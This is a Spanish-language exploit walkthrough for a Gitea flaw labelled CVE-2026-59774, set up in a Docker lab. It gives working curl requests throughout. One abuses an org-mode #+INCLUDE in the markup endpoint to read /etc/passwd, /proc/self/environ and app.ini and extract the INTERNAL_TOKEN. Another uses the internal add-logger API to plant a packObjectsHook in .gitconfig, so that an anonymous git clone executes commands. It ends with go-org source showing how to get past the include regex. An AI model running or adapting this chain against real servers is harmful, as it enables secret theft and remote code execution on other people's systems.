
CVE-2026-59774
git clone https://github.com/FlowerWitch/CVE-2026-59774_docker
cd ./CVE-2026-59774_docker
docker compose up -d
Acceder a gitea
new repository es público por defecto, no se requiere otra configuración
curl -X POST "http://localhost:3000/{username}/{repo}/markup" \
-H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
"Context": "/admin/poc/src/main/"
}'
GITEA_CUSTOM en /proc/self/environ, se obtiene la ubicación donde se almacenan los datos de giteacurl -sX POST "http://localhost:3000/admin/poc/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep 'GITEA_CUSTOM='
{GITEA_CUSTOM}/conf/app.ini para obtener los campos INTERNAL_TOKEN y APP_DATA_PATHcurl -sX POST "http://localhost:3000/{username}/{repo_name}/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH'
Mode de dicha interfaz es File, se realiza una escritura de tipo append sobre un archivo local (si el destino no existe, se creará el directorio correspondiente); además, cuando su campo logger es router, al ejecutarse se activará un registro de log, cuyo efecto de salida es mucho mejor en comparación con default (porque no produce saltos de línea XD). Mediante la escritura arbitraria del primero, se añade al .gitconfig de gitea el campo packObjectsHook para lograr que un clone anónimo desencadene la ejecución de comandos.curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"Logger": "router",
"Writer": "pwnhook",
"Mode": "file",
"Config":{
"filename": "{APP_DATA_PATH}/home/.gitconfig",
"flags": "none",
"prefix": "[uploadpack]\n packObjectsHook = id > /tmp/pwned ;#",
"level": "Info",
"rotate": false
}
}'
logger y el writer mencionados anteriormentecurl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
git clone activa la ejecución de comandosEn go-org 1.9.1, la función parseInclude contiene una regla de filtrado por expresión regular includeFileRegexp; solo si coincide se puede pasar a las funciones posteriores.
func (d *Document) parseInclude(k Keyword) (int, Node) {
resolve := func() Node {
d.Log.Printf("Bad include %#v", k)
return k
}
if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil { # <--这里施加了 includeFileRegexp 过滤
path, kind, lang := m[1], m[2], m[3]
if !filepath.IsAbs(path) {
path = filepath.Join(filepath.Dir(d.Path), path)
}
includeFileRegexp coincide con las siguientes condiciones
var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)
Por lo tanto, un payload como "#+INCLUDE: \"/etc/passwd\"\n" no puede coincidir correctamente; la construcción debe ajustarse a la expresión, por ejemplo:
"#+INCLUDE: \"/etc/passwd\" src 123\n"